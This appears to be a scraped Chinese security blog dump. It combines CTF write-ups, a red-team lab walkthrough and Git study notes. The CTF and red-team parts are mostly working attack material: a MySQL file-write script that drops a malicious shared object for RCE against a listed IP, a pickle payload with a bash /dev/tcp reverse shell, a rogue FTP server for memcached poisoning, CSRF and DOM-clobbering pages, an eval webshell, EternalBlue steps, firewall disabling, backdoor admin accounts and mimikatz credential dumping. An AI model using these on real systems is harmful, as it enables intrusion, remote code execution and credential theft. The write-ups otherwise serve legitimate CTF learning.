\u0026#34;select 0x\u0026#34;+payload[1]+\u0026#34; into outfile \u0026#39;/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp1\u0026#39;\u0026#34; params = { \u0026#34;key\u0026#34; : 3, \u0026#34;value\u0026#34; : sqlinit } resp = requests.get(url,params) i=1 for v in filenames: if i==len(filenames)-1: break sql2 = \u0026#34;select concat_ws(\u0026#39;\u0026#39;,(select substr(load_file(\u0026#39;/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp\u0026#34;+str(i)+\u0026#34;\u0026#39;),1,\u0026#34;+str(length*(i))+\u0026#34;)),(select substr(load_file(\u0026#39;\u0026#34;+filenames[i+1]+\u0026#34;\u0026#39;),1,\u0026#34;+str(length)+\u0026#34;))) into outfile \u0026#39;/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp\u0026#34;+str(i+1)+\u0026#34;\u0026#39;;\u0026#34; print(sql2) params = { \u0026#34;key\u0026#34;: 3, \u0026#34;value\u0026#34;: sql2 } resp = requests.get(url, params) i += 1 sqlinit = \u0026#34;select concat_ws(\u0026#39;\u0026#39;,(select substr(load_file(\u0026#39;/tmp/e10adc3949ba59abbe56e057f20f883e/ROIS0\u0026#39;),1,505)),(select substr(load_file(\u0026#39;/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp58\u0026#39;),1,28582))) into outfile \u0026#39;/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf\u0026#39;;\u0026#34;#mysql写文件换行会在行末加 \\ 注意截断，自己debug params = { \u0026#34;key\u0026#34; : 3, \u0026#34;value\u0026#34; : sqlinit } resp = requests.get(url,params) requests.get(url+\u0026#34;?key=4\u0026amp;value=/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf\u0026#34;) requests.get(url+\u0026#34;?key=4\u0026amp;value=/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf\u0026#34;) ","date":"2022-12-31T00:00:00Z","permalink":"/2022/12/31/2022-ctf-writeups/","title":"2022 CTF 题解合集"},{"content":"Azure Assassin Alliance CTF 2022 题解 [web] gogogo https://tttang.com/archive/1399/\n写一个劫持LD_PRELOAD的动态链接库\n发包爆pid即可\nbeWhatYouWannaBe 想办法变admin\n有browser\nflag1\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 //服务器 test.js const app = require(\u0026#39;express\u0026#39;)() const crypto = require(\u0026#39;crypto\u0026#39;) const LISTEN = \u0026#39;0.0.0.0\u0026#39; const PORT = 11224 app.set(\u0026#39;view engine\u0026#39;, \u0026#39;ejs\u0026#39;) app.get(\u0026#39;/\u0026#39;, (req, res) =\u0026gt; { var sha256 = crypto.createHash(\u0026#39;sha256\u0026#39;); var time = Date.now()-511; var time2 = Math.floor(time / 1000)-1; var time3 = Math.sin(time2).toString() var tooken = sha256.update(time3).digest(\u0026#39;hex\u0026#39;); console.log(`time:${time}`); console.log(`time2:${time2}`); console.log(`time3:${time3}`); console.log(`token:${tooken}`); console.log(\u0026#34;-------------\u0026#34;); res.render(\u0026#39;test\u0026#39;, { name: tooken }) }) app.listen(PORT, LISTEN, () =\u0026gt; { console.log(`listening ${LISTEN}:${PORT}...`) }) //test.ejs \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt;history.pushState(\u0026#39;\u0026#39;, \u0026#39;\u0026#39;, \u0026#39;/\u0026#39;)\u0026lt;/script\u0026gt; \u0026lt;form action=\u0026#34;http://localhost:8000/beAdmin\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#39;username\u0026#39; value=\u0026#39;liao\u0026#39; /\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#39;csrftoken\u0026#39; value=\u0026#39;\u0026lt;%= name %\u0026gt;\u0026#39; /\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Submit request\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;script\u0026gt; document.forms[0].submit(); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;h1\u0026gt;\u0026lt;%= name %\u0026gt;\u0026lt;/h1\u0026gt; \u0026lt;/html\u0026gt; flag2\npage.evaluate在浏览器中执行，过滤js执行，考虑dom破坏\nhttps://portswigger.net/research/dom-clobbering-strikes-back\n来个四重的就行了\n1 2 3 4 5 6 7 8 9 10 11 12 13 index.html \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;Title\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;style\u0026gt;@import \u0026#39;http://ip:port/aa\u0026#39;;\u0026lt;/style\u0026gt; \u0026lt;iframe name=fff srcdoc=\u0026#34; \u0026lt;iframe srcdoc=\u0026#39;\u0026lt;input id=aaa name=ggg href=cid:Clobbered value=this_is_what_i_want\u0026gt;test\u0026lt;/input\u0026gt;\u0026lt;a id=aaa\u0026gt;\u0026#39; name=lll\u0026gt;\u0026#34;\u0026gt;\u0026lt;/iframe\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; pooru 直接登录admin账号，修改api为getflag\n​ myclient mysqli_options 可控\nhttps://www.php.net/manual/zh/mysqli.options.php\n设置 MYSQLI_INIT_COMMAND 执行任意sql语句\n设置 MYSQLI_READ_DEFAULT_FILE 可以从指定的文件中读取客户端配置选项\n写入一个恶意so文件和一个自定义客户端配置 然后加载客户端配置会去加载自定义plugin.so实现客户端rce\nhttps://dev.mysql.com/doc/c-api/5.7/en/c-api-plugin-interface.html\na client that supports the use of authentication plugins normally causes a plugin to be loaded by calling mysql_options() to set the MYSQL_DEFAULT_AUTH and MYSQL_PLUGIN_DIR options:\n恶意so生成\n1 2 3 4 5 6 7 8 9 10 #define _GNU_SOURCE #include \u0026lt;stdlib.h\u0026gt; __attribute__ ((__constructor__)) void preload (void) { system(\u0026#34;touch /tmp/pwned\u0026#34;); } //# gcc evil450.c -o evil450.so --shared -fPIC //mmmmy.cnf [client]# plugin_dir=/tmp/e10adc3949ba59abbe56e057f20f883e # default_auth=evil450 # default_authentication_plugin = evil450 # default_authentication = evil450 # init-command=SELECT 0x(恶意so的十六进制) INTO DUMPFILE \u0026#34;/tmp/e10adc3949ba59abbe56e057f20f883e/evil450.so\u0026#34;;# mysql写文件把mmmmy.cnf 写入 /tmp/e10adc3949ba59abbe56e057f20f883e/mmmmy.cnf 然后访问\nhttp://ip:port/index.php?key=4\u0026amp;value=/tmp/e10adc3949ba59abbe56e057f20f883e/mmmmy.cnf\n执行任意命令\n文件分块传输，最后用sql语句拼接，exp:\nmysql 写文件会在行末加 \\ 注意截取 别吞byte 会导致so损坏\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import requests url = \u0026#34;http://124.71.205.170:10047/index.php\u0026#34; payload = [] with open(\u0026#34;res1.txt\u0026#34;,\u0026#34;r\u0026#34;) as f:#res1.txt 是 mmmmy.cnf文件的十六进制 file_data = f.read() i = 0 j = 0 while i \u0026lt; len(file_data): if i + 1000 \u0026gt; len(file_data): values = file_data[i:] else: values = file_data[i:i + 1000] i = i + 1000 j = j + 1 payload+=[values] #分块长度，1000个十六进制，500个字符 length = int(500) #生成分块文件的sql语句 filenames = [] i=0 for v in payload: filename = \u0026#34;/tmp/e10adc3949ba59abbe56e057f20f883e/ROIS\u0026#34;+str(i) filenames += [filename] sql = \u0026#34;select 0x\u0026#34;+v+\u0026#34; into outfile \u0026#39;\u0026#34;+filename+\u0026#34;\u0026#39;\u0026#34; print(sql) i+=1 params = { \u0026#34;key\u0026#34; : 3, \u0026#34;value\u0026#34; : sql } resp = requests.get(url,params) print(resp.text) #文件合并 sqlinit = \u0026#34;select 0x\u0026#34;+payload[1]+\u0026#34; into outfile \u0026#39;/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp1\u0026#39;\u0026#34; params = { \u0026#34;key\u0026#34; : 3, \u0026#34;value\u0026#34; : sqlinit } resp = requests.get(url,params) i=1 for v in filenames: if i==len(filenames)-1: break sql2 = \u0026#34;select concat_ws(\u0026#39;\u0026#39;,(select substr(load_file(\u0026#39;/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp\u0026#34;+str(i)+\u0026#34;\u0026#39;),1,\u0026#34;+str(length*(i))+\u0026#34;)),(select substr(load_file(\u0026#39;\u0026#34;+filenames[i+1]+\u0026#34;\u0026#39;),1,\u0026#34;+str(length)+\u0026#34;))) into outfile \u0026#39;/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp\u0026#34;+str(i+1)+\u0026#34;\u0026#39;;\u0026#34; print(sql2) params = { \u0026#34;key\u0026#34;: 3, \u0026#34;value\u0026#34;: sql2 } resp = requests.get(url, params) i += 1 sqlinit = \u0026#34;select concat_ws(\u0026#39;\u0026#39;,(select substr(load_file(\u0026#39;/tmp/e10adc3949ba59abbe56e057f20f883e/ROIS0\u0026#39;),1,505)),(select substr(load_file(\u0026#39;/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp58\u0026#39;),1,28582))) into outfile \u0026#39;/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf\u0026#39;;\u0026#34;#mysql写文件换行会在行末加 \\ 注意截断，自己debug params = { \u0026#34;key\u0026#34; : 3, \u0026#34;value\u0026#34; : sqlinit } resp = requests.get(url,params) requests.get(url+\u0026#34;?key=4\u0026amp;value=/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf\u0026#34;) requests.get(url+\u0026#34;?key=4\u0026amp;value=/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf\u0026#34;) ToLeSion 用ftps协议进行tls投毒，打memcached\n开一个tls恶意服务端，将上层流量转给2048端口开的恶意vsftpd服务\ntls恶意服务端：\ncustom-tls -p 11200 --certs /root/tls/fullchain.pem --key /root/tls/privkey.pem forward 2048 恶意vsftpd服务：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 #exp.py #!/usr/bin/env python3 import socketserver, threading,sys class MyTCPHandler(socketserver.StreamRequestHandler): def handle(self): print(\u0026#39;[+] connected\u0026#39;, self.request, file=sys.stderr) print(\u0026#39;send 1\u0026#39;) self.request.sendall(b\u0026#39;220 (vsFTPd 3.0.3)\\r\\n\u0026#39;) self.data = self.rfile.readline().strip().decode() print(self.data, file=sys.stderr,flush=True) print(\u0026#39;send 2\u0026#39;) self.request.sendall(b\u0026#39;230 Login successful.\\r\\n\u0026#39;) self.data = self.rfile.readline().strip().decode() print(self.data, file=sys.stderr) print(\u0026#39;send3\u0026#39;) self.request.sendall(b\u0026#39;200 yolo\\r\\n\u0026#39;) self.data = self.rfile.readline().strip().decode() print(self.data, file=sys.stderr) print(\u0026#39;send4\u0026#39;) self.request.sendall(b\u0026#39;200 yolo\\r\\n\u0026#39;) self.data = self.rfile.readline().strip().decode() print(self.data, file=sys.stderr) print(\u0026#39;send5\u0026#39;) self.request.sendall(b\u0026#39;257 \u0026#34;/\u0026#34; is the current directory\\r\\n\u0026#39;) # self.data = self.rfile.readline().strip().decode() # print(self.data, file=sys.stderr) # print(\u0026#39;send 6\u0026#39;) # self.request.sendall(b\u0026#39;250 Directory successfully changed.\\r\\n\u0026#39;) self.data = self.rfile.readline().strip().decode() print(self.data, file=sys.stderr) print(\u0026#39;send 6\u0026#39;) self.request.sendall(b\u0026#39;227 Entering Passive Mode (127,0,0,1,43,192).\\r\\n\u0026#39;) # self.request.sendall(b\u0026#39;229 Entering Extended Passive Mode (|||10017|)\\r\\n\u0026#39;) self.data = self.rfile.readline().strip().decode() print(self.data, file=sys.stderr) print(\u0026#39;send 7\u0026#39;) #self.request.sendall(b\u0026#39;229 Entering Extended Passive Mode (|||11200|)\\r\\n\u0026#39;) self.request.sendall(b\u0026#39;227 Entering Passive Mode (127,0,0,1,43,192).\\r\\n\u0026#39;) import time #time.sleep(1) self.data = self.rfile.readline().strip().decode() print(\u0026#39;send 8\u0026#39;) print(self.data, file=sys.stderr) self.request.sendall(b\u0026#39;200 Switching to Binary mode.\\r\\n\u0026#39;) self.data = self.rfile.readline().strip().decode() print(self.data, file=sys.stderr) print(\u0026#39;send 9\u0026#39;) self.request.sendall(b\u0026#39;125 Data connection already open. Transfer starting.\\r\\n\u0026#39;) self.data = self.rfile.readline().strip().decode() print(self.data, file=sys.stderr) print(\u0026#39;send 10\u0026#39;) # 226 Transfer complete. self.request.sendall(b\u0026#39;250 Requested file action okay, completed.\u0026#39;) exit() def ftp_worker(): with socketserver.TCPServer((\u0026#39;0.0.0.0\u0026#39;, 2048), MyTCPHandler) as server: while True: server.handle_request() threading.Thread(target=ftp_worker).start() 然后访问http://123.60.131.135:10023/?url=ftps://domain.com:11200/即可写入memchached\nmemcached pickle反序列化rce\npickel生成：\n1 2 3 4 5 6 7 8 import pickle import os from memcache import Client victim = \u0026#34;127.0.0.1\u0026#34; class RCE: def __reduce__(self): cmd = f\u0026#34;/bin/bash -c \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/ip/port 0\u0026gt;\u0026amp;1\u0026#39;\u0026#34; return os.system, (cmd,) mc = Client([\u0026#39;127.0.0.1:11200\u0026#39;]) mc.set(\u0026#34;actfSession:you_have_been_pwned\u0026#34;, pickle.dumps(RCE())) print(mc.get(\u0026#34;actfSession:450450450 携带cookie访问flask即可反弹shell\nCookie: BD_UPN=12314753; session=450450450\n","date":"2022-06-26T00:00:00Z","permalink":"/2022/06/26/azure-assassin-alliance-ctf-2022-writeup/","title":"Azure Assassin Alliance CTF 2022 题解"},{"content":"ATT\u0026amp;CK 红队实战 记录一次域渗透\n靶场地址漏洞详情 (qiyuanxuetang.net)\n网站shell 网站配置\n先打开服务\n正常做法 扫目录有一个phpmyadmin 弱密码root/root登陆 日志getshell 还得提权\n1 2 3 4 5 6 7 8 show variables like \u0026#39;%secure%\u0026#39; 如果是null 则无法直接写文件 show variables like \u0026#39;%general%\u0026#39; 如果是on则可以通过写日志来拿shell set global general_log=\u0026#39;on\u0026#39;; SET global general_log_file=\u0026#39;\u0026lt;网站绝对路径\u0026gt;/shell.php\u0026#39; SELECT \u0026#39;shell123\u0026lt;?php eval($_REQUEST[\u0026#34;1\u0026#34;]);?\u0026gt;\u0026#39;; 绝对路径可以用php探针得到 还有给cms dirsearch没有扫到。。\n第二种 ifconfig 查看本机ip 同一个网卡 nmap -sP 192.168.54.129/24 扫描内网 得到目标主机192.168.54.130 访问80端口是一个php探针 nmap -sS -sV -T4 -A 192.168.54.130 扫一波端口 发现win7 445端口开着 打一波永恒之蓝 msfconsole 打开msf search ms17 搜索模块 use auxiliary/scanner/smb/smb_ms17_010 使用模块 options 查看设置选项 set rhost 192.168.54.130 设置目标ip run 运行 发现可以使用永恒之蓝 use exploit/windows/smb/ms17_010_eternalblue set rhost 192.168.54.130 set lhost 192.168.54.129 exploit 拿到shell 已经是管理员权限\nnetsh firewall set allprofiles state off 关闭防火墙 或者开发端口 netsh advfirewall firewall add rule name=”desktop” protocol=TCP dir=in localport=3389 action=allow net user test mimA233 /add # 添加账户密码 net localgroup administrators test /add # 给test账户添加为管理员权限 net user test # 查询是否成功添加test用户 rdesktop 192.168.54.130 远程桌面连接 搭个代理出来 可用msf直接搭建sock隧道： 进入session，自动创建路由：run post/multi/manage/autoroute 查看路由信息：run get_local_subnets background msf退回上级 sessions 查看当前会话 session -i 1(num) 进入会话 search socks use auxiliary/server/socks_proxy run 用proxychains全局代理 设置配置文件vim /etc/proxychains.conf 在最后一行加代理地址 内网攻击 远程桌面 的管理员桌面有一个nmap 也可以把自己的文件传上去(cs搭服务，访问下载)\nnmap扫一波内网 nmap -sn 192.168.52.143/24 发现 138 141 访问一下80 192.168.52.138 80端口有服务 测试代理 成功访问内网 nmap扫一下端口 发现window server 2008 445 开着 尝试 永恒之蓝 用代理开msf 因为隔了一层内网 反弹不出来(或许姿势不对)使用正向shell use auxiliary/admin/smb/ms17_010_command set rhost 192.168.52.138 set command 要执行的命令 set command netsh advfirewall firewall add rule name=”desktop” protocol=TCP dir=in localport=3389 action=allow (开3389端口 添加用户 开3389端口 挂代理远程连一下 再扫一下141 同样方法打通 set command ‘REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f’ 关防火墙(版本低) 拿下\n学习 mimikatz 抓密码 privilege::debug提权限sekurlsa::logonPasswords就是抓取密码 net config Workstation 查看当前登陆域及用户信息 net group “domain controllers” /domain 查看域控 net group “domain admins” /domain 查看域管 net view /domain:god 查看域成员 MSF和CS联动\nsetg ReverseAllowProxy true //如果通过此 socks 反弹 shell，则需要开启此项，不推荐，速度慢，动静大 MSF新建监听，payload使用reverse_http use exploit/multi/handler set payload windows/meterpreter/reverse_http run 然后cs 设置监听端口 生成payload 用这个监听端口 得到msf shell 上线cs\n查看主机名 shell hostname 查看用户列表 shell net users 组管理员 shell net localgroup administrators 查看防火墙 shell netsh firewall show state 查看当前域 net view 查看域控列表 net dclist smb监听器 (75条消息) cs客户端 实时权限_【CS学习笔记】7、SMBbean的作用_疑似精神病的博客-CSDN博客 psexec:内网中，最总要的还是域管理员账号，有了域管理员账号后，可以使用该域管理员账号密码利用 psexec 登录域内任何一台开启了admin$共享(该共享默认开启) 的主机。 use exploit/multi/handler 在攻击服务器上生成连接软件，LHOST为攻击机IP地址 ATT\u0026amp;CK实战系列——红队实战（二） 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 fping -asg 192.168.224.0/24 //找到靶机ip nmap -sS -sV -T4 -A -p- 192.168.224.248 //扫描靶机 nmap使用: -sP :ping扫描（不进行端口扫描） -sT：进行TCP全连接扫描 -sS：进行SYN半连接扫描 -sF：进行FIN扫描 -sN：进行Null扫描 -sX：进行Xmas扫描 -O：进行测探目标主机版本（不是很准） -sV：可以显示服务的详细版本 -A：全面扫描 -p:指定端口扫描 -oN：会将扫描出来的结果保存成一个txt文件 -oX：会将扫描出来的结果保存成一个xml文件 [-T1]-[-T5]:提高扫描速度 xray扫一下\n1 2 3 ./xray webscan --basic-crawler http://192.168.111.80:7001/ --html-output test.html output:Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2019-2725 + org.slf4j.ext.EventData 网上找一下现成的exp TopScrew/CVE-2019-2725: CVE-2019-2725命令回显+webshell上传+最新绕过 (github.com)\nHTML Application\n生成恶意的HTA木马文件 配合host file使用\nmshta http://x.x.x.x:8008/download/file.ext\n然后CS端就可以收到上线了\n然后在cs上操作\ndump hash\nrun mimikate 抓一下密码什么的\nnet view 返回6118\n直接扫一下ip段\n然后就可以打惹\n通图\n感觉就外网那一层，内网随便走。。。psexec\n","date":"2022-03-18T00:00:00Z","permalink":"/2022/03/18/attck-red-team/","title":"ATT\u0026CK 红队实战"},{"content":"Git 学习 Git教程 - 廖雪峰的官方网站 (liaoxuefeng.com) Git常用命令总结 git命令前置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 git init\t把这个目录变成Git可以管理的仓库 git add readme.txt\t把文件添加到仓库 git commit -m \u0026#34;wrote a readme file\u0026#34;\t把文件提交到仓库 git status\t仓库当前的状态 git diff readme.txt 查看difference git reset --hard HEAD^\t回退到上一个版本 git reset --hard commit id //指定版本 git log\t查看历史记录 git reflog\t回退到上一个版本 git checkout -- file\t可以丢弃工作区的修改： git reset HEAD \u0026lt;file\u0026gt;可以把暂存区的修改撤销掉 git rm\t版本库中删除该文件 git checkout\t其实是用版本库里的版本替换工作区的版本，无论工作区是修改还是删除，都可以“一键还原”。 git remote add origin git@github.com:L1aovo/LFI_exp.git\t关联远程仓库 git push -u origin master\t推送到远端 git remote rm \u0026lt;name\u0026gt;\t删除远程库 git remote -v\t查看远程库信息 git clone git@github.com:michaelliao/gitskills.git\t克隆仓库 git checkout -b dev\t创建dev分支，然后切换到dev分支 git branch dev\t创建 git checkout dev\t切换、 git merge dev\t把dev分支的工作成果合并到master分支上 git branch -d dev\t删除dev分支 git switch -c dev\t创建并切换到新的dev分支，可以使用 git switch master\t直接切换到已有的master分支 git branch\t查看分支 git log --graph --pretty=oneline --abbrev-commit\t看分支的合并情况 git log --graph命令可以看到分支合并图 git merge --no-ff -m \u0026#34;merge with no-ff\u0026#34; dev\t强制禁用Fast forward模式 git stash\t把当前工作现场“储藏”起来，等以后恢复现场后继续工作 git checkout -b issue-101\tmaster创建临时分支 git stash list\t刚才的工作现场 git stash apply\t恢复 git stash pop\t恢复的同时把stash内容也删了 git stash drop\t来删除 git cherry-pick\t我们就不需要在dev分支上手动再把修bug的过程重复一遍 git branch -D feature-vulcan\t强行删除 git remote\t查看远程库的信息 git push origin dev\t推送其他分支 git rebase\t把分叉的提交历史“整理”成一条直线 git tag \u0026lt;name\u0026gt;\t就可以打一个新标签 git tag v0.9 f52c633\tcommit id git tag\t查看所有标签 git show \u0026lt;tagname\u0026gt;\t查看标签信息 git tag -d v0.1\t删除标签 git push origin v1.0 推到远端 git push origin --tags\t一次性推送全部尚未推送到远程 git tag -d v0.9\t本地删除 it push origin :refs/tags/v0.9\t远程删除 git add -f App.class\t强制添加到Git git check-ignore -v App.class\t检查规则 集中式和分布式版本控制系统的区别 先说集中式版本控制系统，版本库是集中存放在中央服务器的，而干活的时候，用的都是自己的电脑，所以要先从中央服务器取得最新的版本，然后开始干活，干完活了，再把自己的活推送给中央服务器。中央服务器就好比是一个图书馆，你要改一本书，必须先从图书馆借出来，然后回到家自己改，改完了，再放回图书馆。集中式版本控制系统最大的毛病就是必须联网才能工作\n分布式版本控制系统根本没有“中央服务器”，每个人的电脑上都是一个完整的版本库，这样，你工作的时候，就不需要联网了，因为版本库就在你自己的电脑上。既然每个人电脑上都有一个完整的版本库，那多个人如何协作呢？比方说你在自己电脑上改了文件A，你的同事也在他的电脑上改了文件A，这时，你们俩之间只需把各自的修改推送给对方，就可以互相看到对方的修改了。分布式版本控制系统通常也有一台充当“中央服务器”的电脑，但这个服务器的作用仅仅是用来方便“交换”大家的修改，没有它大家也一样干活，只是交换修改不方便而已。\n创建版本库 版本库又名仓库，英文名repository，你可以简单理解成一个目录，这个目录里面的所有文件都可以被Git管理起来，每个文件的修改、删除，Git都能跟踪，以便任何时刻都可以追踪历史，或者在将来某个时刻可以“还原”。\n创建一个空目录\n1 2 3 $ mkdir learngit $ cd learngit $ pwd 通过git init命令把这个目录变成Git可以管理的仓库\n命令git add告诉Git，把文件添加到仓库：\n1 $ git add readme.txt 命令git commit告诉Git，把文件提交到仓库：-m后面输入的是本次提交的说明，可以输入任意内容，当然最好是有意义的，这样你就能从历史记录里方便地找到改动记录。\n1 $ git commit -m \u0026#34;wrote a readme file\u0026#34; 运行git status命令看看结果：git status命令可以让我们时刻掌握仓库当前的状态\n1 $ git status git diff这个命令看看：顾名思义就是查看difference，显示的格式正是Unix通用的diff格式\n1 $ git diff readme.txt 版本回退 在Git中，我们用git log命令查看历史记录：git log命令显示从最近到最远的提交日志\n在Git中，用HEAD表示当前版本，也就是最新的提交1094adb...（注意我的提交ID和你的肯定不一样），上一个版本就是HEAD^，上上一个版本就是HEAD^^，当然往上100个版本写100个^比较容易数不过来，所以写成HEAD~100。\n使用git reset命令：回退到上一个版本\n1 2 3 $ git reset --hard HEAD^ $ git reset --hard commit id //指定版本 git reflog用来记录你的每一次命令：可以查看 commit id\n把文件往Git版本库里添加的时候，是分两步执行的：\n第一步是用git add把文件添加进去，实际上就是把文件修改添加到暂存区；\n第二步是用git commit提交更改，实际上就是把暂存区的所有内容提交到当前分支。\n因为创建Git版本库时，Git自动创建了唯一一个master分支，所以，现在，git commit就是往master分支上提交更改。\n简单理解为，需要提交的文件修改通通放到暂存区，然后，一次性提交暂存区的所有修改。\n为什么Git比其他版本控制系统设计得优秀?Git跟踪并管理的是修改，而非文件\ngit checkout -- file可以丢弃工作区的修改：\n命令git checkout -- readme.txt意思就是，把readme.txt文件在工作区的修改全部撤销，这里有两种情况：\n一种是readme.txt自修改后还没有被放到暂存区，现在，撤销修改就回到和版本库一模一样的状态；\n一种是readme.txt已经添加到暂存区后，又作了修改，现在，撤销修改就回到添加到暂存区后的状态。\n命令git reset HEAD \u0026lt;file\u0026gt;可以把暂存区的修改撤销掉（unstage），重新放回工作区\n版本库中删除该文件，那就用命令git rm删掉，并且git commit：\n把误删的文件恢复到最新版本：git checkout其实是用版本库里的版本替换工作区的版本，无论工作区是修改还是删除，都可以“一键还原”。\n1 2 3 git remote add origin git@github.com:L1aovo/LFI_exp.git关联远程仓库 git push -u origin master 删除远程库，可以用git remote rm \u0026lt;name\u0026gt;命令。使用前，建议先用git remote -v查看远程库信息：根据名字删除，比如删除origin：\n$ git remote rm origin 克隆仓库\n$ git clone git@github.com:michaelliao/gitskills.git 创建dev分支，然后切换到dev分支：\n1 2 $ git checkout -b dev Switched to a new branch \u0026#39;dev\u0026#39; git checkout命令加上-b参数表示创建并切换，相当于以下两条命令：\n1 2 3 $ git branch dev $ git checkout dev //切换 Switched to branch \u0026#39;dev\u0026#39; 把dev分支的工作成果合并到master分支上：\n1 $ git merge dev 删除dev分支：\n1 $ git branch -d dev 创建并切换到新的dev分支，可以使用：\n1 $ git switch -c dev 直接切换到已有的master分支，可以使用：\n1 $ git switch master 查看分支：git branch\n创建分支：git branch \u0026lt;name\u0026gt;\n切换分支：git checkout \u0026lt;name\u0026gt;或者git switch \u0026lt;name\u0026gt;\n创建+切换分支：git checkout -b \u0026lt;name\u0026gt;或者git switch -c \u0026lt;name\u0026gt;\n合并某分支到当前分支：git merge \u0026lt;name\u0026gt;\n删除分支：git branch -d \u0026lt;name\u0026gt;\n带参数的git log也可以看到分支的合并情况：\n1 $ git log --graph --pretty=oneline --abbrev-commit 用git log --graph命令可以看到分支合并图。\nGit会用Fast forward模式，但这种模式下，删除分支后，会丢掉分支信息。\n如果要强制禁用Fast forward模式，Git就会在merge时生成一个新的commit，这样，从分支历史上就可以看出分支信息。\n1 $ git merge --no-ff -m \u0026#34;merge with no-ff\u0026#34; dev Git还提供了一个stash功能，可以把当前工作现场“储藏”起来，等以后恢复现场后继续工作：\n1 $ git stash master创建临时分支：\n1 $ git checkout -b issue-101 用git stash list命令看刚才的工作现场\n用git stash apply恢复，但是恢复后，stash内容并不删除，你需要用git stash drop来删除；\ngit stash pop，恢复的同时把stash内容也删了：\ncherry-pick命令，让我们能复制一个特定的提交到当前分支：\n用git cherry-pick，我们就不需要在dev分支上手动再把修bug的过程重复一遍。\n1 $ git branch -d feature-vulcan 强行删除：\n1 $ git branch -D feature-vulcan 查看远程库的信息，用git remote：\n1 $ git remote 如果要推送其他分支，比如dev，就改成：\n1 $ git push origin dev 当你的小伙伴从远程库clone时，默认情况下，你的小伙伴只能看到本地的master分支。不信可以用git branch命令看看：\n命令git rebase把分叉的提交历史“整理”成一条直线，看上去更直观。缺点是本地的分叉提交已经被修改过了。\n命令git tag \u0026lt;name\u0026gt;就可以打一个新标签：\n1 $ git tag v1.0 命令git tag查看所有标签：\n1 $ git tag 找到历史提交的commit id，然后打上\n比方说要对add merge这次提交打标签，它对应的commit id是f52c633，敲入命令：\n1 $ git tag v0.9 f52c633 git show \u0026lt;tagname\u0026gt;查看标签信息：\n还可以创建带有说明的标签，用-a指定标签名，-m指定说明文字：\n1 $ git tag -a v0.1 -m \u0026#34;version 0.1 released\u0026#34; 1094adb 标签打错了，也可以删除：\n1 $ git tag -d v0.1 命令git push origin \u0026lt;tagname\u0026gt;：\n1 $ git push origin v1.0 一次性推送全部尚未推送到远程的本地标签：\n1 $ git push origin --tags 如果标签已经推送到远程，要删除远程标签就麻烦一点，先从本地删除：\n1 $ git tag -d v0.9 然后，从远程删除。删除命令也是push，但是格式如下：\n1 $ git push origin :refs/tags/v0.9 Git工作区的根目录下创建一个特殊的.gitignore文件，然后把要忽略的文件名填进去，Git就会自动忽略这些文件。\n不需要从头写.gitignore文件，GitHub已经为我们准备了各种配置文件，只需要组合一下就可以使用了。所有配置文件可以直接在线浏览：https://github.com/github/gitignore\n有些时候，你想添加一个文件到Git，但发现添加不了，原因是这个文件被.gitignore忽略了.如果你确实想添加该文件，可以用-f强制添加到Git：\n1 $ git add -f App.class .gitignore写得有问题，需要找出来到底哪个规则写错了，可以用git check-ignore命令检查：\n1 $ git check-ignore -v App.class ","date":"2022-03-02T00:00:00Z","permalink":"/2022/03/02/git-notes/","title":"Git 学习"},{"content":"原型链污染 type first 1 2 3 4 5 6 linux: sudo su ---\u0026gt; get root apt install nodejs ---\u0026gt;get nodejs apt install npm ---\u0026gt;get npm windows: https://nodejs.org/ refer:https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html refer:https://blog.codesec.work/f0ee9a055ee1/ what is it?? 